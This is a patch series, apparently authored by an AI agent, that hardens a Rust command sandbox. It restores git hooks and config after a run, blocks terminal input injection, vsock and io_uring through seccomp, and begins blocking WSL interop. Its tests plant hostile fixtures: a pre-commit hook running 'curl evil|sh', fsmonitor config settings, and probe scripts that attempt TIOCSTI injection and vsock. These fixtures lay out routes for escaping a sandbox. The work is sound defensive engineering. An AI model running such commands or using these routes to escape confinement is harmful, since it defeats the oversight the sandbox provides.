for root in &self.paths { + let mut now = BTreeMap::new(); + let mut budget = u64::MAX; + record(root, &mut now, &mut budget); + // Remove what was added or changed type, deepest first. + let mut extra: Vec<&PathBuf> = now + .keys() + .filter(|k| match (now.get(*k), self.entries.get(*k)) { + (Some(n), Some(o)) => std::mem::discriminant(n) != std::mem::discriminant(o), + _ => true, + }) + .collect(); + extra.sort_by_key(|p| std::cmp::Reverse(p.components().count())); + for p in extra { + let gone = match p.symlink_metadata() { + Ok(m) if m.is_dir() && !m.file_type().is_symlink() => { + std::fs::remove_dir_all(p) + } + _ => std::fs::remove_file(p), + }; + if gone.is_ok() { + changed.push(format!("removed {}", p.display())); + } + } + // Put back what was there, shallowest first. + for (p, before) in self.entries.iter().filter(|(p, _)| p.starts_with(root)) { + let after = { + let mut one = BTreeMap::new(); + let mut b = u64::MAX; + record_one(p, &mut one, &mut b); + one.remove(p) + }; + if after.as_ref() == Some(before) { + continue; + } + if restore_one(p, before).is_ok() { + changed.push(format!("restored {}", p.display())); + } + } + } + changed.sort(); + changed.dedup(); + changed + } +} + +/// Record `path` and everything beneath it. False when over the budget. +fn record(path: &Path, into: &mut BTreeMap, budget: &mut u64) -> bool { + if !record_one(path, into, budget) { + return false; + } + if matches!(into.get(path), Some(Entry::Dir)) { + let Ok(rd) = std::fs::read_dir(path) else { + return true; + }; + for e in rd.filter_map(Result::ok) { + if !record(&e.path(), into, budget) { + return false; + } + } + } + true +} + +fn record_one(path: &Path, into: &mut BTreeMap, budget: &mut u64) -> bool { + let Ok(meta) = path.symlink_metadata() else { + return true; + }; + let entry = if meta.file_type().is_symlink() { + Entry::Link(std::fs::read_link(path).unwrap_or_default()) + } else if meta.is_dir() { + Entry::Dir + } else { + if meta.len() > *budget { + return false; + } + *budget -= meta.len(); + let bytes = std::fs::read(path).unwrap_or_default(); + Entry::File { + bytes, + mode: mode_of(&meta), + } + }; + into.insert(path.to_path_buf(), entry); + true +} + +fn restore_one(path: &Path, before: &Entry) -> std::io::Result<()> { + if let Ok(m) = path.symlink_metadata() { + if m.is_dir() && !m.file_type().is_symlink() { + if matches!(before, Entry::Dir) { + return Ok(()); + } + std::fs::remove_dir_all(path)?; + } else { + std::fs::remove_file(path)?; + } + } + match before { + Entry::Dir => std::fs::create_dir(path), + Entry::Link(target) => link(target, path), + Entry::File { bytes, mode } => { + let mut opts = std::fs::OpenOptions::new(); + opts.write(true).create_new(true); + #[cfg(unix)] + { + use std::os::unix::fs::OpenOptionsExt; + opts.mode(*mode).custom_flags(libc::O_NOFOLLOW); + } + let _ = mode; + let mut f = opts.open(path)?; + std::io::Write::write_all(&mut f, bytes) + } + } +} + +#[cfg(unix)] +fn mode_of(meta: &std::fs::Metadata) -> u32 { + use std::os::unix::fs::PermissionsExt; + meta.permissions().mode() & 0o7777 +} + +#[cfg(not(unix))] +fn mode_of(_meta: &std::fs::Metadata) -> u32 { + 0o644 +} + +#[cfg(unix)] +fn link(target: &Path, path: &Path) -> std::io::Result<()> { + std::os::unix::fs::symlink(target, path) +} + +#[cfg(not(unix))] +fn link(_target: &Path, _path: &Path) -> std::io::Result<()> { + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn repo() -> (tempfile::TempDir, PathBuf) { + let dir = tempfile::tempdir().expect("tempdir"); + let root = std::fs::canonicalize(dir.path()).expect("canon"); + std::fs::create_dir_all(root.join(".git/hooks")).expect("hooks"); + std::fs::write(root.join(".git/config"), "[core]\n").expect("config"); + std::fs::write(root.join(".git/hooks/pre-commit.sample"), "#!/bin/sh\n").expect("hook"); + (dir, root) + } + + #[test] + fn planted_hooks_and_config_changes_are_undone() { + let (_d, root) = repo(); + let snap = Snapshot::take(git_paths(std::slice::from_ref(&root))); + assert_eq!(snap.paths().len(), 2); + + std::fs::write( + root.join(".git/hooks/pre-commit"), + "#!/bin/sh\ncurl evil|sh\n", + ) + .expect("plant"); + std::fs::write(root.join(".git/config"), "[core]\nfsmonitor = evil\n").expect("cfg"); + std::fs::remove_file(root.join(".git/hooks/pre-commit.sample")).expect("rm"); + std::fs::write(root.join("src.rs"), "fine").expect("ordinary work"); + + let changed = snap.restore(); + assert!(!root.join(".git/hooks/pre-commit").exists(), "{changed:?}"); + assert_eq!( + std::fs::read_to_string(root.join(".git/config")).expect("cfg"), + "[core]\n" + ); + assert!(root.join(".git/hooks/pre-commit.sample").exists()); + assert!(root.join("src.rs").exists(), "ordinary work is untouched"); + assert_eq!(changed.len(), 3, "{changed:?}"); + assert!(snap.restore().is_empty(), "nothing left to undo"); + } + + #[cfg(unix)] + #[test] + fn a_hooks_folder_swapped_for_a_link_is_removed_not_followed() { + let (_d, root) = repo(); + let elsewhere = tempfile::tempdir().expect("elsewhere"); + let snap = Snapshot::take(git_paths(std::slice::from_ref(&root))); + std::fs::remove_dir_all(root.join(".git/hooks")).expect("rm"); + std::os::unix::fs::symlink(elsewhere.path(), root.join(".git/hooks")).expect("link"); + snap.restore(); + let meta = root.join(".git/hooks").symlink_metadata().expect("meta"); + assert!(meta.is_dir() && !meta.file_type().is_symlink()); + assert!(root.join(".git/hooks/pre-commit.sample").exists()); + assert_eq!(std::fs::read_dir(elsewhere.path()).expect("rd").count(), 0); + } + + #[test] + fn a_worktree_protects_the_git_dir_it_names_when_writable() { + let (_d, main) = repo(); + std::fs::create_dir_all(main.join(".git/worktrees/wt")).expect("wt"); + std::fs::write(main.join(".git/worktrees/wt/commondir"), "../..\n").expect("common"); + let wt = main.join("wt"); + std::fs::create_dir(&wt).expect("wt dir"); + std::fs::write( + wt.join(".git"), + format!("gitdir: {}\n", main.join(".git/worktrees/wt").display()), + ) + .expect("gitfile"); + // Only the worktree is writable: the main repository's hooks are out + // of reach anyway, so nothing there needs watching. + assert!(git_paths(std::slice::from_ref(&wt)).is_empty()); + // Both writable: the common dir's hooks and config are watched. + let paths = git_paths(&[wt.clone(), main.clone()]); + assert!(paths.contains(&main.join(".git/hooks")), "{paths:?}"); + assert!(paths.contains(&main.join(".git/config")), "{paths:?}"); + } +} diff --git a/crates/sandbox/src/seatbelt.rs b/crates/sandbox/src/seatbelt.rs index b35c904..691e948 100644 --- a/crates/sandbox/src/seatbelt.rs +++ b/crates/sandbox/src/seatbelt.rs @@ -24,6 +24,7 @@ pub fn profile( fs: FsMode, roots: usize, deny_read: usize, + protected: usize, net: NetMode, proxy_port: Option, ) -> String { @@ -40,6 +41,10 @@ pub fn profile( (literal \"/dev/dtracehelper\") (regex #\"^/dev/fd/[0-9]+$\") \ (regex #\"^/dev/ttys[0-9]+$\"))" )); + // Last match wins: these come after the root's allow. + for i in 0..protected { + p.push_str(&format!(" (deny file-write* (subpath (param \"PR{i}\")))")); + } for i in 0..deny_read { p.push_str(&format!(" (deny file-read* (subpath (param \"DR{i}\")))")); } @@ -70,7 +75,7 @@ mod tests { #[test] fn workspace_write_denies_then_allows_the_roots() { - let p = profile(FsMode::WorkspaceWrite, 2, 0, NetMode::Allow, None); + let p = profile(FsMode::WorkspaceWrite, 2, 0, 0, NetMode::Allow, None); let deny = p.find("(deny file-write*").expect("deny"); let allow = p.find("(allow file-write*").expect("allow"); assert!(deny < allow, "the deny comes first: {p}"); @@ -80,24 +85,24 @@ mod tests { #[test] fn read_only_has_only_the_temp_dir_and_sinks() { - let p = profile(FsMode::ReadOnly, 0, 0, NetMode::Allow, None); + let p = profile(FsMode::ReadOnly, 0, 0, 0, NetMode::Allow, None); assert!(!p.contains("WS0")); assert!(p.contains("(param \"TMP\")")); } #[test] fn proxy_allows_exactly_the_proxy_port() { - let p = profile(FsMode::Off, 0, 0, NetMode::Proxy, Some(41234)); + let p = profile(FsMode::Off, 0, 0, 0, NetMode::Proxy, Some(41234)); assert!(p.contains("(deny network*)")); assert!(p.contains("(remote ip \"localhost:41234\")")); assert!(!p.contains("file-write")); - let deny = profile(FsMode::Off, 0, 0, NetMode::Deny, None); + let deny = profile(FsMode::Off, 0, 0, 0, NetMode::Deny, None); assert!(!deny.contains("remote ip")); } #[test] fn deny_read_comes_after_the_allow_default() { - let p = profile(FsMode::ReadOnly, 0, 2, NetMode::Allow, None); + let p = profile(FsMode::ReadOnly, 0, 2, 0, NetMode::Allow, None); let allow = p.find("(allow default)").expect("allow"); let deny = p .find("(deny file-read* (subpath (param \"DR0\")))") @@ -106,10 +111,21 @@ mod tests { assert!(p.contains("(param \"DR1\")")); } + #[test] + fn protected_paths_are_denied_after_the_root_is_allowed() { + let p = profile(FsMode::WorkspaceWrite, 1, 0, 2, NetMode::Allow, None); + let allow = p.find("(allow file-write*").expect("allow"); + let deny = p + .find("(deny file-write* (subpath (param \"PR0\")))") + .expect("PR0"); + assert!(allow < deny, "{p}"); + assert!(p.contains("(param \"PR1\")")); + } + #[test] fn parentheses_balance() { for net in [NetMode::Allow, NetMode::Deny, NetMode::Proxy] { - let p = profile(FsMode::WorkspaceWrite, 3, 2, net, Some(1)); + let p = profile(FsMode::WorkspaceWrite, 3, 2, 0, net, Some(1)); let open = p.matches('(').count(); let close = p.matches(')').count(); assert_eq!(open, close, "{p}"); diff --git a/crates/sandbox/src/seccomp.rs b/crates/sandbox/src/seccomp.rs index 4cef292..9c7ef1f 100644 --- a/crates/sandbox/src/seccomp.rs +++ b/crates/sandbox/src/seccomp.rs @@ -1,13 +1,32 @@ -//! Linux: a seccomp filter for the sockets Landlock does not see. +//! Linux: a seccomp filter for what Landlock does not see. //! -//! Landlock's network rules cover TCP `bind` and `connect` and nothing else, -//! so under `network = "deny"` or `"proxy"` a command could still send UDP -//! (DNS included), open a raw or packet socket, or speak a stream protocol -//! that is not TCP (SCTP, MPTCP). This filter closes that by refusing to -//! CREATE such sockets: `socket()` fails with `EACCES`, as Landlock's own -//! refusals do, so programs report "permission denied" rather than crash. +//! The filter has two layers, assembled into one program. It is installed +//! whenever the filesystem is confined or the network is `deny`/`proxy`. //! -//! It is an allowlist of socket families, not a list of what to block: +//! The first layer is always there: +//! - `ioctl(TIOCSTI)` and `ioctl(TIOCLINUX)` fail with `EPERM`. `TIOCSTI` +//! pushes bytes into a terminal's input queue as if typed; a command +//! sharing the caller's terminal could type a line into the shell that +//! waits there once it exits, and that line would run unconfined. +//! `TIOCLINUX` can do the same on a virtual console (paste the selection). +//! The request is an `unsigned int`; the kernel ignores the upper half of +//! the 64-bit register, so only the low 32 bits are compared. Every other +//! ioctl passes. +//! - `socket(AF_VSOCK, ...)` fails with `EACCES`. vsock talks to a VM's host +//! directly, around the network stack and so around Landlock; on WSL2 it +//! reaches the Windows side (interop), which would run Windows programs. +//! - `io_uring_setup`, `_enter` and `_register` fail with `EPERM`. io_uring +//! performs operations (sockets included) without the syscalls a filter +//! sees. Docker's default profile does the same, and runtimes fall back to +//! plain syscalls. +//! +//! The second layer only under `network = "deny"` or `"proxy"`. Landlock's +//! network rules cover TCP `bind` and `connect` and nothing else, so a +//! command could still send UDP (DNS included), open a raw or packet socket, +//! or speak a stream protocol that is not TCP (SCTP, MPTCP). This layer +//! refuses to CREATE such sockets: `socket()` fails with `EACCES`, as +//! Landlock's own refusals do, so programs report "permission denied" +//! rather than crash. It is an allowlist of socket families: //! - `AF_UNIX`: local IPC (an ssh-agent, a build daemon, a language server). //! - `AF_INET`/`AF_INET6` with `SOCK_STREAM` and protocol 0 or TCP: plain //! TCP, which Landlock then confines (nothing, or the proxy's port). The @@ -23,24 +42,24 @@ //! the host's interfaces, as it could by reading `/proc/net`. //! //! Everything else is refused: UDP, ICMP "ping" sockets, raw, `AF_PACKET`, -//! SCTP, MPTCP, and the families no build needs (`AF_VSOCK`, which reaches a -//! VM's host; Bluetooth; CAN; and so on). +//! SCTP, MPTCP, and the families no build needs (Bluetooth, CAN, ...). //! -//! Two other ways to make a socket are closed with it: -//! - `io_uring` can create sockets and send on them without the syscalls a -//! seccomp filter sees, so `io_uring_setup` fails with `EPERM` (what -//! Docker's default profile does; runtimes fall back to plain syscalls). -//! - On x86-64 a 64-bit process can still make 32-bit syscalls. Those are -//! checked too, and the 32-bit `socketcall(SYS_SOCKET)`, whose arguments -//! sit in memory a filter cannot read, is refused outright (32-bit glibc -//! uses the direct `socket` syscall on any current kernel). The x32 ABI -//! shares x86-64's syscall numbers with one bit set, which is masked. +//! Other ABIs: on x86-64 a 64-bit process can still make 32-bit syscalls. +//! Those are checked too (i386's own `socket` and `ioctl` numbers), and the +//! 32-bit `socketcall(SYS_SOCKET)`, whose arguments sit in memory a filter +//! cannot read, is refused outright in both layers, since it could otherwise +//! make a vsock socket (32-bit glibc uses the direct `socket` syscall on +//! any current kernel). The x32 ABI shares x86-64's syscall numbers with one +//! bit set, which is masked; its own `ioctl` entry (514) is checked as well. +//! On aarch64, 32-bit ARM is checked with its own numbers. //! //! Not covered: `socketpair` (it only makes connected local pairs), sockets -//! passed in already open (`sbx` passes none but stdio), and name lookups a -//! local daemon does on the command's behalf over a Unix socket: with -//! `nss-resolve` (systemd-resolved) or `nscd` in `/etc/nsswitch.conf`, -//! `getaddrinfo` still answers, and the name reaches the resolver. +//! and terminals passed in already open (`sbx` passes none but stdio; a +//! terminal on stdio can still be written to and read from, which is what +//! a terminal is for), and name lookups a local daemon does on the +//! command's behalf over a Unix socket: with `nss-resolve` +//! (systemd-resolved) or `nscd` in `/etc/nsswitch.conf`, `getaddrinfo` +//! still answers, and the name reaches the resolver. //! //! The filter is written by hand: a few dozen BPF instructions do not justify //! a dependency. It knows x86-64 (with i386 and x32) and aarch64 (with @@ -67,11 +86,16 @@ const SOCK_TYPE_MASK: u32 = 0xf; const SYS_SOCKET: u32 = 1; /// `io_uring_setup`, `_enter` and `_register` have one number everywhere. const IO_URING: [u32; 3] = [425, 426, 427]; +/// Terminal ioctls that inject input; the same numbers on x86 and ARM. +const TIOCSTI: u32 = 0x5412; +const TIOCLINUX: u32 = 0x541C; /// One syscall ABI the kernel may be entered through. struct Abi { arch: u32, socket: u32, + /// `ioctl`, and on x32 its compat entry as well. + ioctl: &'static [u32], /// The multiplexed `socketcall`, where the ABI has one. socketcall: Option, /// Mask `X32_SYSCALL_BIT` off the syscall number first. @@ -84,12 +108,14 @@ const X86_64: &[Abi] = &[ Abi { arch: AUDIT_ARCH_X86_64, socket: 41, + ioctl: &[16, 514], socketcall: None, x32: true, }, Abi { arch: AUDIT_ARCH_I386, socket: 359, + ioctl: &[54], socketcall: Some(102), x32: false, }, @@ -101,12 +127,14 @@ const AARCH64: &[Abi] = &[ Abi { arch: AUDIT_ARCH_AARCH64, socket: 198, + ioctl: &[29], socketcall: None, x32: false, }, Abi { arch: AUDIT_ARCH_ARM, socket: 281, + ioctl: &[54], socketcall: None, x32: false, }, @@ -152,15 +180,21 @@ pub(crate) fn status() -> Status { } } +/// Whether this architecture has a filter at all. +pub(crate) fn available() -> bool { + ABIS.is_some() +} + /// Install the filter on the CALLING thread (the helper, single-threaded, /// just before it execs); every process it starts inherits it, and it cannot -/// be removed. +/// be removed. `network` adds the socket allowlist (`deny`/`proxy`) to the +/// layer that is always there. /// /// # Errors /// On an architecture without a filter, or when the kernel refuses it. -pub(crate) fn restrict_sockets() -> Result<(), String> { - let program = - program().ok_or_else(|| format!("no seccomp filter for {} yet", std::env::consts::ARCH))?; +pub(crate) fn install(network: bool) -> Result<(), String> { + let program = program(network) + .ok_or_else(|| format!("no seccomp filter for {} yet", std::env::consts::ARCH))?; let mut filter: Vec = program; let prog = libc::sock_fprog { len: u16::try_from(filter.len()).map_err(|_| "seccomp filter too long")?, @@ -193,7 +227,8 @@ pub(crate) fn restrict_sockets() -> Result<(), String> { // Offsets into `struct seccomp_data`: nr, arch, then six u64 args. Both // architectures are little-endian, so an argument's low 32 bits come first, -// and the kernel reads `socket`'s int arguments as exactly those bits. +// and the kernel reads `socket`'s int arguments and `ioctl`'s unsigned int +// request as exactly those bits. const NR: u32 = 0; const ARCH: u32 = 4; const fn arg(i: u32) -> u32 { @@ -221,11 +256,12 @@ const EACCES: u32 = libc::SECCOMP_RET_ERRNO | libc::EACCES as u32; const EPERM: u32 = libc::SECCOMP_RET_ERRNO | libc::EPERM as u32; /// The BPF program for this architecture, or `None` where there is none. -pub(crate) fn program() -> Option> { - ABIS.map(|abis| assemble(&source(abis))) +/// `network` adds the socket allowlist. +pub(crate) fn program(network: bool) -> Option> { + ABIS.map(|abis| assemble(&source(abis, network))) } -fn source(abis: &[Abi]) -> Vec { +fn source(abis: &[Abi], network: bool) -> Vec { use Ins::{And, Jeq, Label, Load, Ret}; use To::{Label as L, Next}; const ABI_LABELS: [&str; 2] = ["abi0", "abi1"]; @@ -250,6 +286,9 @@ fn source(abis: &[Abi]) -> Vec { if let Some(nr) = abi.socketcall { p.push(Jeq(nr, L(CALL_LABELS[i]), Next)); } + for &nr in abi.ioctl { + p.push(Jeq(nr, L("ioctl"), Next)); + } for nr in IO_URING { p.push(Jeq(nr, L("eperm"), Next)); } @@ -261,20 +300,35 @@ fn source(abis: &[Abi]) -> Vec { } } + // Layer one, always: terminal input injection and vsock. p.extend([ + Label("ioctl"), + Load(arg(1)), + Jeq(TIOCSTI, L("eperm"), Next), + Jeq(TIOCLINUX, L("eperm"), L("allow")), Label("socket"), Load(arg(0)), - Jeq(libc::AF_UNIX as u32, L("allow"), Next), - Jeq(libc::AF_NETLINK as u32, L("allow"), Next), - Jeq(libc::AF_INET as u32, L("inet"), Next), - Jeq(libc::AF_INET6 as u32, L("inet"), L("eacces")), - Label("inet"), - Load(arg(1)), - And(SOCK_TYPE_MASK), - Jeq(libc::SOCK_STREAM as u32, Next, L("eacces")), - Load(arg(2)), - Jeq(0, L("allow"), Next), - Jeq(libc::IPPROTO_TCP as u32, L("allow"), L("eacces")), + Jeq(libc::AF_VSOCK as u32, L("eacces"), Next), + ]); + if network { + // Layer two, under deny/proxy: the family allowlist. + p.extend([ + Jeq(libc::AF_UNIX as u32, L("allow"), Next), + Jeq(libc::AF_NETLINK as u32, L("allow"), Next), + Jeq(libc::AF_INET as u32, L("inet"), Next), + Jeq(libc::AF_INET6 as u32, L("inet"), L("eacces")), + Label("inet"), + Load(arg(1)), + And(SOCK_TYPE_MASK), + Jeq(libc::SOCK_STREAM as u32, Next, L("eacces")), + Load(arg(2)), + Jeq(0, L("allow"), Next), + Jeq(libc::IPPROTO_TCP as u32, L("allow"), L("eacces")), + ]); + } else { + p.push(Ret(ALLOW)); + } + p.extend([ Label("allow"), Ret(ALLOW), Label("eacces"), @@ -368,8 +422,88 @@ mod tests { const DGRAM: u32 = libc::SOCK_DGRAM as u32; const FLAGS: u32 = (libc::SOCK_NONBLOCK | libc::SOCK_CLOEXEC) as u32; + /// What both layers decide, whatever the network mode. + fn check_always(abi: &Abi, network: bool) { + let prog = assemble(&source(std::slice::from_ref(abi), network)); + let ioctl = |fd: u32, req: u32| { + abi.ioctl + .iter() + .map(|&nr| run(&prog, abi.arch, nr, [fd, req, 0])) + .collect::>() + }; + let all = |v: Vec, want: u32| v.iter().all(|&r| r == want); + assert!(all(ioctl(0, TIOCSTI), EPERM), "TIOCSTI"); + assert!(all(ioctl(5, TIOCLINUX), EPERM), "TIOCLINUX"); + assert!(all(ioctl(0, libc::TIOCGWINSZ as u32), ALLOW), "TIOCGWINSZ"); + assert!(all(ioctl(0, libc::TCGETS as u32), ALLOW), "TCGETS"); + assert!(all(ioctl(0, libc::FIONREAD as u32), ALLOW), "FIONREAD"); + let sock = |family: i32, ty: u32| run(&prog, abi.arch, abi.socket, [family as u32, ty, 0]); + assert_eq!(sock(libc::AF_VSOCK, STREAM), EACCES); + assert_eq!(sock(libc::AF_VSOCK, DGRAM | FLAGS), EACCES); + assert_eq!(sock(libc::AF_UNIX, STREAM), ALLOW); + assert_eq!(sock(libc::AF_INET, STREAM), ALLOW); + for nr in IO_URING { + assert_eq!(run(&prog, abi.arch, nr, [0; 3]), EPERM); + } + assert_eq!(run(&prog, abi.arch, 0, [2, 2, 0]), ALLOW); + if let Some(nr) = abi.socketcall { + assert_eq!(run(&prog, abi.arch, nr, [SYS_SOCKET, 0, 0]), EACCES); + assert_eq!(run(&prog, abi.arch, nr, [3, 0, 0]), ALLOW, "connect"); + } + if abi.x32 { + for &nr in abi.ioctl { + let nr = nr | X32_SYSCALL_BIT; + assert_eq!(run(&prog, abi.arch, nr, [0, TIOCSTI, 0]), EPERM); + } + let nr = abi.socket | X32_SYSCALL_BIT; + let vsock = [libc::AF_VSOCK as u32, STREAM, 0]; + assert_eq!(run(&prog, abi.arch, nr, vsock), EACCES); + } + } + + #[test] + fn every_known_abi_refuses_tiocsti_vsock_and_io_uring_in_both_layers() { + for abi in X86_64.iter().chain(AARCH64) { + check_always(abi, false); + check_always(abi, true); + } + } + + #[test] + fn without_the_network_layer_other_sockets_pass() { + for abi in X86_64.iter().chain(AARCH64) { + let prog = assemble(&source(std::slice::from_ref(abi), false)); + for args in [ + [libc::AF_INET as u32, DGRAM, 0], + [libc::AF_INET6 as u32, libc::SOCK_RAW as u32, 0], + [libc::AF_PACKET as u32, libc::SOCK_RAW as u32, 0], + [libc::AF_INET as u32, STREAM, libc::IPPROTO_SCTP as u32], + ] { + assert_eq!(run(&prog, abi.arch, abi.socket, args), ALLOW, "{args:?}"); + } + } + } + + #[test] + fn the_ioctl_request_is_compared_on_its_low_32_bits_only() { + // The interpreter, like the kernel's BPF, sees the low word of the + // argument; the program must not load the high word (offset + 4). + for abi in X86_64.iter().chain(AARCH64) { + let prog = assemble(&source(std::slice::from_ref(abi), true)); + for ins in &prog { + if u32::from(ins.code) == libc::BPF_LD | libc::BPF_W | libc::BPF_ABS { + assert!( + ins.k == NR || ins.k == ARCH || (ins.k - 16) % 8 == 0, + "loads a high word at {}", + ins.k + ); + } + } + } + } + fn check(abi: &Abi) { - let prog = assemble(&source(std::slice::from_ref(abi))); + let prog = assemble(&source(std::slice::from_ref(abi), true)); let sock = |family: i32, ty: u32, proto: i32| { run( &prog, @@ -417,7 +551,7 @@ mod tests { #[test] fn the_installed_program_checks_both_abis_and_kills_unknown_ones() { - let Some(prog) = program() else { return }; + let Some(prog) = program(true) else { return }; let abis = ABIS.expect("abis"); for abi in abis { let udp = [libc::AF_INET as u32, DGRAM, 0]; @@ -429,5 +563,15 @@ mod tests { run(&prog, 0xdead_beef, 0, [0; 3]), libc::SECCOMP_RET_KILL_PROCESS ); + let Some(prog) = program(false) else { return }; + for abi in abis { + assert_eq!(run(&prog, abi.arch, abi.ioctl[0], [1, TIOCSTI, 0]), EPERM); + let udp = [libc::AF_INET as u32, DGRAM, 0]; + assert_eq!(run(&prog, abi.arch, abi.socket, udp), ALLOW); + } + assert_eq!( + run(&prog, 0xdead_beef, 0, [0; 3]), + libc::SECCOMP_RET_KILL_PROCESS + ); } } diff --git a/crates/sandbox/src/server.rs b/crates/sandbox/src/server.rs index 3a6be7b..e94bc40 100644 --- a/crates/sandbox/src/server.rs +++ b/crates/sandbox/src/server.rs @@ -394,6 +394,7 @@ impl Server { "stdout_truncated": captured.stdout_total > captured.stdout.len() as u64, "stderr_truncated": captured.stderr_total > captured.stderr.len() as u64, "network_refused": refused, + "protected_restored": captured.outcome.restored, })) } diff --git a/crates/sandbox/tests/escape.rs b/crates/sandbox/tests/escape.rs index 2ca041b..338729d 100644 --- a/crates/sandbox/tests/escape.rs +++ b/crates/sandbox/tests/escape.rs @@ -471,3 +471,105 @@ fn running(tag: &str) -> bool { .is_some_and(|c| c.split(|b| *b == 0).next() == Some(tag.as_bytes())) }) } + +/// Whether `sbx` has a seccomp filter for this architecture. +const SECCOMP_ARCH: bool = cfg!(any(target_arch = "x86_64", target_arch = "aarch64")); + +/// In a new session, makes a pty's slave its controlling terminal, then +/// tries `TIOCSTI` (inject a keystroke), `TIOCLINUX` and the harmless +/// `TIOCGWINSZ` on it; prints one line per attempt. Never touches the +/// caller's own terminal unless `devtty` is set, and then only to check +/// the injection is refused. +fn tty_probe(devtty: bool) -> String { + format!( + r#"python3 -c ' +import errno, fcntl, os, termios +def t(name, f): + try: + f(); print(name, "ok") + except OSError as e: + print(name, "refused", e.errno) +pid = os.fork() +if pid == 0: + try: + os.setsid() + m, s = os.openpty() + fcntl.ioctl(s, termios.TIOCSCTTY, 0) + t("sti", lambda: fcntl.ioctl(s, termios.TIOCSTI, b"x")) + t("linux", lambda: fcntl.ioctl(s, getattr(termios, "TIOCLINUX", 0x541C), b"\x07")) + t("winsz", lambda: fcntl.ioctl(s, termios.TIOCGWINSZ, b"\0" * 8)) + t("tcgets", lambda: termios.tcgetattr(s)) + finally: + os._exit(0) +os.waitpid(pid, 0) +if {devtty}: + try: + fd = os.open("/dev/tty", os.O_RDWR) + except OSError: + print("devtty none") + else: + t("devtty", lambda: fcntl.ioctl(fd, termios.TIOCSTI, b"\n")) +'"#, + devtty = if devtty { "True" } else { "False" } + ) +} + +#[test] +fn terminal_input_injection_is_refused_when_the_filesystem_is_confined() { + require!(SECCOMP_ARCH, "seccomp filters on this architecture"); + let d = dirs(); + // Unconfined first: TIOCSTI on the session's own terminal works, or + // fails with EIO where `dev.tty.legacy_tiocsti` is off. Anything else + // (no python3, no ptys) means the probe cannot tell the filter's EPERM + // from the kernel's own. + let control = text(&sh(&d.ws, &[], &tty_probe(false))); + if !(control.contains("sti ok") || control.contains("sti refused 5")) { + eprintln!("SKIPPED: no pty to test TIOCSTI on: {control}"); + return; + } + assert!(control.contains("winsz ok"), "{control}"); + let o = sh(&d.ws, &["--fs", "read-only"], &tty_probe(true)); + let out = text(&o); + assert!(out.contains("sti refused 1"), "TIOCSTI not refused: {out}"); + assert!( + out.contains("linux refused 1"), + "TIOCLINUX not refused: {out}" + ); + assert!(!out.contains("devtty ok"), "{out}"); + // Ordinary terminal ioctls still work. + assert!(out.contains("winsz ok"), "{out}"); + assert!(out.contains("tcgets ok"), "{out}"); + // And under the network policy too, where the other layer is added. + let o = sh(&d.ws, &["--net", "deny"], &tty_probe(false)); + if o.status.code() != Some(125) { + let out = text(&o); + assert!(out.contains("sti refused 1"), "{out}"); + assert!(out.contains("winsz ok"), "{out}"); + } +} + +const VSOCK_PROBE: &str = r#"python3 -c ' +import socket +try: + socket.socket(40, socket.SOCK_STREAM); print("vsock ok") +except OSError as e: + print("vsock refused", e.errno) +'"#; + +#[test] +fn vsock_is_refused_when_the_filesystem_is_confined_even_with_the_network_allowed() { + require!(SECCOMP_ARCH, "seccomp filters on this architecture"); + let d = dirs(); + let control = text(&sh(&d.ws, &["--net", "allow"], VSOCK_PROBE)); + if control.contains("vsock refused 97") { + // EAFNOSUPPORT: no vsock in this kernel. The filter answers before + // the kernel looks at the family, so the check below still holds. + eprintln!("note: this kernel has no vsock (EAFNOSUPPORT)"); + } else if !control.contains("vsock") { + eprintln!("SKIPPED: the probe did not run: {control}"); + return; + } + let o = sh(&d.ws, &["--fs", "read-only", "--net", "allow"], VSOCK_PROBE); + let out = text(&o); + assert!(out.contains("vsock refused 13"), "{out}"); +} diff --git a/crates/sandbox/tests/protect.rs b/crates/sandbox/tests/protect.rs new file mode 100644 index 0000000..9e1b691 --- /dev/null +++ b/crates/sandbox/tests/protect.rs @@ -0,0 +1,70 @@ +//! A command confined to a repository cannot leave a git hook or a config +//! change behind for the next unsandboxed `git` to run. + +#![cfg(unix)] + +use std::process::Command; + +#[test] +fn a_planted_hook_and_config_are_put_back_after_the_run() { + let dir = tempfile::tempdir().expect("tempdir"); + let repo = std::fs::canonicalize(dir.path()).expect("canon"); + let git = |args: &[&str]| { + let ok = Command::new("git") + .args(args) + .current_dir(&repo) + .output() + .expect("git") + .status + .success(); + assert!(ok, "git {args:?}"); + }; + git(&["init", "-q"]); + let config_before = std::fs::read_to_string(repo.join(".git/config")).expect("config"); + + let out = Command::new(env!("CARGO_BIN_EXE_sbx")) + .args([ + "run", + "--best-effort", + "-w", + ".", + "--", + "sh", + "-c", + "printf '#!/bin/sh\\necho pwned\\n' > .git/hooks/pre-commit && chmod +x .git/hooks/pre-commit; \ + git config core.fsmonitor 'echo pwned'; echo ok > work.txt", + ]) + .current_dir(&repo) + .output() + .expect("sbx"); + let stderr = String::from_utf8_lossy(&out.stderr); + assert!(!repo.join(".git/hooks/pre-commit").exists(), "{stderr}"); + assert_eq!( + std::fs::read_to_string(repo.join(".git/config")).expect("config"), + config_before, + "{stderr}" + ); + assert!( + repo.join("work.txt").exists(), + "ordinary work stays: {stderr}" + ); + assert!(stderr.contains("protected path changed"), "{stderr}"); + + // Opted out, the change stays. + Command::new(env!("CARGO_BIN_EXE_sbx")) + .args([ + "run", + "--best-effort", + "--no-protect-git", + "-w", + ".", + "--", + "sh", + "-c", + "echo '#!/bin/sh' > .git/hooks/post-commit", + ]) + .current_dir(&repo) + .output() + .expect("sbx"); + assert!(repo.join(".git/hooks/post-commit").exists()); +} From 3781f1dffcc62d9b5b39d2e8f4f565628a44fe7e Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 20 Oct 2026 14:36:22 +0000 Subject: [PATCH 03/12] sandbox: inside WSL2, block starting Windows programs On Windows, sbx runs inside WSL2, where the Linux sandbox applies unchanged. WSL2 adds one way out: starting a Windows program (cmd.exe, powershell.exe, any .exe under /mnt/c), which runs on Windows, outside the sandbox altogether. When the filesystem is confined and WSL is detected (kernel release "microsoft"/"WSL", or a WSLInterop binfmt_misc entry), fs.block_wsl_interop (on by default) closes it: - the interop interpreter, read from the binfmt_misc entry (/init), is added to deny_read, so no .exe can start: Landlock refuses to execute a hidden interpreter, directly or for a script; - /run/WSL, where the interop sockets live, is hidden, and WSL_INTEROP is removed. Landlock can't refuse a connect to a Unix socket by path, so the socket must not be findable; - vsock was already refused by seccomp whenever the filesystem is confined. sbx doctor reports it in the filesystem line. Tests: - tests/wsl.rs checks on any Linux that a deny_read'd interpreter can't run directly or as a script's #! interpreter (with a control that it runs when 